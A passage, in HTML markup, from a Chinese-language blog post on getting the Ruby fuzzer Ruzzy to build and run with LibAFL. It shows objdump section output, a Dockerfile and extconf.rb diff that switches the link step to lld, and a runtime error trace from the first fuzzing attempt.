leaf=""><br/></span><span leaf=""> 57 .init_array   00000008  ...</span><span leaf=""><br/></span><span leaf="">$ objdump -h libclang_rt.fuzzer_no_main-aarch64.a </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;init_array&#39;</span></span><span leaf=""><br/></span><span leaf=""> 40 .init_array   00000008  ...</span><span leaf=""><br/></span><span leaf=""> 57 .init_array   00000008  ...</span><span leaf=""><br/></span><span leaf="">$ objdump -h libclang_rt.fuzzer_interceptors-aarch64.a </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> grep </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;init_array&#39;</span></span><span leaf=""><br/></span><span leaf=""> 21 .preinit_array 00000008  ...</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 5: LibAFL 与 libFuzzer 中的 .init_array 与 .preinit_array 对比</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上图显示,LibAFL 的归档同时包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.init_array</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.preinit_array</span></code><span leaf="">段,而 Clang 的 libFuzzer 则把它们拆分到了不同的文件中。由于 LibAFL 使用了与 Clang 相同的拦截器代码,它也定义了同样的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.preinit_array</span></code><span leaf="">。问题是,LibAFL 虽然提供了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libfuzzer_no_link_main</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libfuzzer_interceptors</span></code><span leaf="">这两个 feature,但我们没法在构建时方便地切换它们。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这就给我们留下了两条路:正经的解决方案是向上游提交修改,允许这些 feature 在构建时切换;另一条是 hack 式的、把事情先跑通的方案。我想尽快推进,把整个流程跑通,所以先选了 hack 路线。这里有个小技巧可用:GNU </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld</span></code><span leaf="">会强制执行 &#34;.preinit_array 不允许出现在 DSO 中&#34; 的约束,而 LLVM </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld</span></code><span leaf="">不会。因此我们可以修改 Ruzzy 的构建流程,允许在构建时传入用户指定的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld</span></code><span leaf="">路径:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">diff --git a/Dockerfile.LibAFL b/Dockerfile.LibAFL</span><span leaf=""><br/></span><span leaf="">index 5d0f9516..df6be2e2 100644</span><span leaf=""><br/></span><span leaf="">--- a/Dockerfile.LibAFL</span><span leaf=""><br/></span><span leaf="">+++ b/Dockerfile.LibAFL</span><span leaf=""><br/></span><span leaf="">@@ -54,9 +54,12 @@ RUN echo &#34;deb <a href="http://apt.llvm.org/bookworm/" target="_blank">http://apt.llvm.org/bookworm/</a> llvm-toolchain-bookworm-$LLVM_VERSION</span><span leaf=""><br/></span><span leaf="">    &amp;&amp; echo &#34;deb-src <a href="http://apt.llvm.org/bookworm/" target="_blank">http://apt.llvm.org/bookworm/</a> llvm-toolchain-bookworm-$LLVM_VERSION main&#34; &gt;&gt; /etc/apt/sources.list.d/ llvm.list \</span><span leaf=""><br/></span><span leaf="">    &amp;&amp; wget -qO- <a href="https://apt.llvm.org/llvm-snapshot.gpg.key" target="_blank">https://apt.llvm.org/llvm-snapshot.gpg.key</a> &gt; /etc/apt/trusted.gpg.d/apt.llvm.org.asc</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+# Install lld alongside clang. LibAFL&#39;s libFuzzer.a contains a .preinit_array</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+# .preinit_array section that the GNU linker rejects in shared objects.</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+# lld handles this correctly.</span><span leaf=""><br/></span></span><span leaf=""> RUN apt update &amp;&amp; apt install -y \</span><span leaf=""><br/></span><span leaf="">    build-essential \</span><span leaf=""><br/></span><span leaf="">    clang-$LLVM_VERSION \</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+   lld-$LLVM_VERSION \</span><span leaf=""><br/></span></span><span leaf="">    &amp;&amp; rm -rf /var/lib/apt/lists/*</span><span leaf=""><br/></span><span leaf=""> ENV APP_DIR=&#34;/app&#34;</span><span leaf=""><br/></span><span leaf="">@@ -69,6 +72,10 @@ ENV LDSHARED=&#34;clang-$LLVM_VERSION -shared&#34;</span><span leaf=""><br/></span><span leaf=""> ENV LDSHAREDXX=&#34;clang++-$LLVM_VERSION -shared&#34;</span><span leaf=""><br/></span><span leaf=""> ENV ASAN_SYMBOLIZER_PATH=&#34;/usr/bin/llvm-symbolizer-$LLVM_VERSION&#34;</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+# Use lld for linking. LibAFL&#39;s libFuzzer.a contains a .preinit_array section</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+# that the GNU linker rejects in shared objects. lld handles this correctly.</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+ENV LD=&#34;lld-$LLVM_VERSION&#34;</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+</span><span leaf=""><br/></span></span><span leaf=""> ENV MAKE=&#34;make --environment-overrides V=1&#34;</span><span leaf=""><br/></span><span leaf=""> ENV ASAN_OPTIONS=&#34;symbolize=1:allocator_may_return_null=1:</span><span leaf=""><br/></span><span leaf="">detect_leaks=0:use_sigaltstack=0&#34;</span><span leaf=""><br/></span><span leaf="">diff --git a/ext/cruzzy/extconf.rb b/ext/cruzzy/extconf.rb</span><span leaf=""><br/></span><span leaf="">index 6f474e62..260fcae6 100644</span><span leaf=""><br/></span><span leaf="">--- a/ext/cruzzy/extconf.rb</span><span leaf=""><br/></span><span leaf="">+++ b/ext/cruzzy/extconf.rb</span><span leaf=""><br/></span><span leaf="">@@ -19,6 +19,7 @@ LOGGER.level = ENV.key?(&#39;RUZZY_DEBUG&#39;) ?</span><span leaf=""><br/></span><span leaf="">Logger::DEBUG : Logger::INFO</span><span leaf=""><br/></span><span leaf=""> CC = ENV.fetch(&#39;CC&#39;, &#39;clang&#39;)</span><span leaf=""><br/></span><span leaf=""> CXX = ENV.fetch(&#39;CXX&#39;, &#39;clang++&#39;)</span><span leaf=""><br/></span><span leaf=""> AR = ENV.fetch(&#39;AR&#39;, &#39;ar&#39;)</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+LD = ENV.fetch(&#39;LD&#39;, &#39;ld&#39;)</span><span leaf=""><br/></span></span><span leaf=""> FUZZER_NO_MAIN_LIB_ENV = &#39;FUZZER_NO_MAIN_LIB&#39;</span><span leaf=""><br/></span><span leaf=""> LOGGER.debug(&#34;Ruby CC: #{RbConfig::CONFIG[&#39;CC&#39;]}&#34;)</span><span leaf=""><br/></span><span leaf="">@@ -66,6 +67,7 @@ def merge_sanitizer_libfuzzer_lib(sanitizer_lib,</span><span leaf=""><br/></span><span leaf="">fuzzer_no_main_lib, merged_outp</span><span leaf=""><br/></span><span leaf="">      &#39;-ldl&#39;,</span><span leaf=""><br/></span><span leaf="">      &#39;-lstdc++&#39;,</span><span leaf=""><br/></span><span leaf="">      &#39;-shared&#39;,</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+      &#34;-fuse-ld=#{LD}&#34;,</span><span leaf=""><br/></span></span><span leaf="">      &#39;-o&#39;,</span><span leaf=""><br/></span><span leaf="">      merged_output</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">@@ -145,5 +147,6 @@ merge_sanitizer_libfuzzer_lib(</span><span leaf=""><br/></span><span leaf=""> $LOCAL_LIBS = fuzzer_no_main_lib</span><span leaf=""><br/></span><span leaf=""> $LIBS &lt;&lt; &#39; -lstdc++&#39;</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+$DLDFLAGS &lt;&lt; &#34; -fuse-ld=#{LD}&#34;</span></span><span leaf=""><br/></span><span leaf=""> create_makefile(&#39;cruzzy/cruzzy&#39;)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 6: 允许使用用户指定的 ld 二进制</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">到这里 Docker 构建终于通过了!但是,构建出模糊测试库、Ruby C 扩展和 Docker 镜像还只是第一步。我们还要把模糊测试器跑起来,而那又会带来另一组挑战。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至于前面提到的正经修复,我们已经在这个 pull request 中向上游提出了。等它合并之后,我们就可以用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--cargo-args &#34;--no-default-features --features no_link_main&#34;</span></code><span leaf="">运行构建脚本,从而摆脱这个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld</span></code><span leaf="">的 hack。下面进入运行模糊测试器的环节。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">用 LibAFL 进行模糊测试</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Ruzzy 自带一个 &#34;dummy&#34; C 扩展,用来测试模糊测试器、确保一切正常工作。我们可以借助它来验证 LibAFL 改造是否生效。在构建好模糊测试器、终于能启动它之后,我遇到了下面这个错误:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">$ docker run </span><span style="color: rgb(106, 115, 125);"><span leaf="">--rm ruzzy-libafl -runs=100000</span><span leaf=""><br/></span></span><span leaf="">thread </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;&lt;unnamed&gt;&#39;</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">9</span></span><span leaf="">) panicked at src</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">fuzz</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rs</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">275</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">5</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">No maps available; cannot fuzz!</span><span leaf=""><br/></span><span leaf="">note: run with </span><span style="color: rgb(0, 56, 120);"><span leaf="">`RUST_BACKTRACE=1`</span></span><span leaf=""> environment variable to display a backtrace</span><span leaf=""><br/></span><span leaf="">fatal runtime error: failed to initiate panic, error </span><span style="color: rgb(0, 92, 197);"><span leaf="">2786066624</span></span><span leaf="">, aborting</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bundle</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">gems</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">ruzzy</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ruzzy</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rb</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf="">: [BUG] Aborted at 0x0000000000000009</span><span leaf=""><br/></span><span leaf="">ruby </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">2026</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">01</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">13</span></span><span leaf=""> revision e04267a14b) </span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">PRISM [aarch64</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">linux]</span><span style="color: rgb(106, 115, 125);"><span leaf="">-- Control frame information -----------------------------------------------</span><span leaf=""><br/></span></span><span leaf="">c:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0005</span></span><span leaf=""> p:</span><span style="color: rgb(106, 115, 125);"><span leaf="">---- s:0022 e:000021 l:y b:---- CFUNC  :c_fuzz</span><span leaf=""><br/></span></span><span leaf="">c:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0004</span></span><span leaf=""> p:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0011</span></span><span leaf=""> s:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0016</span></span><span leaf=""> e:</span><span style="color: rgb(0, 92, 197);"><span leaf="">000015</span></span><span leaf=""> l:y b:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0001</span></span><span leaf=""> METHOD </span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bundle</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">gems</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">ruzzy</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ruzzy</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rb</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf=""><br/></span><span leaf="">c:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0003</span></span><span leaf=""> p:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0008</span></span><span leaf=""> s:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0010</span></span><span leaf=""> E:</span><span style="color: rgb(0, 92, 197);"><span leaf="">001390</span></span><span leaf=""> l:y b:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0001</span></span><span leaf=""> METHOD </span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bundle</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">gems</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">ruzzy</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ruzzy</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rb</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">28</span></span><span leaf=""><br/></span><span leaf="">c:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0002</span></span><span leaf=""> p:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0010</span></span><span leaf=""> s:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0006</span></span><span leaf=""> e:</span><span style="color: rgb(0, 92, 197);"><span leaf="">000005</span></span><span leaf=""> l:n b:</span><span style="color: rgb(106, 115, 125);"><span leaf="">---- EVAL   -e:1 [FINISH]</span><span leaf=""><br/></span></span><span leaf="">c:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0001</span></span><span leaf=""> p:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0000</span></span><span leaf=""> s:</span><span style="color: rgb(0, 92, 197);"><span leaf="">0003</span></span><span leaf=""> E:</span><span style="color: rgb(0, 92, 197);"><span leaf="">000940</span></span><span leaf=""> l:y b:</span><span style="color: rgb(106, 115, 125);"><span leaf="">---- DUMMY  [FINISH]</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">-- Ruby level backtrace information ----------------------------------------</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">e:</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">:</span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;&lt;main&gt;&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bundle</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">gems</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">ruzzy</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ruzzy</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rb</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">28</span></span><span leaf="">:</span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;dummy&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bundle</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">gems</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">ruzzy</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ruzzy</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rb</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf="">:</span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;fuzz&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">usr</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">local</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">bundle</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">gems</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">ruzzy</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib</span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ruzzy</span></span><span leaf="">.</span><span style="color: rgb(0, 92, 197);"><span leaf="">rb</span></span><span leaf="">:</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf="">:</span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;c_fuzz&#39;</span></span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 7: 启动模糊测试器时的运行时错误</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里关键的报错是 &#34;No maps available; cannot fuzz!&#34;。当 SanitizerCoverage 状态没有正确初始化时,就会出现这个 LibAFL 错误。要理解 LibAFL 与 libFuzzer 在这里的差异,我们得先弄清楚 SanitizerCoverage 是什么,以及它是如何工作的。</span></p><p 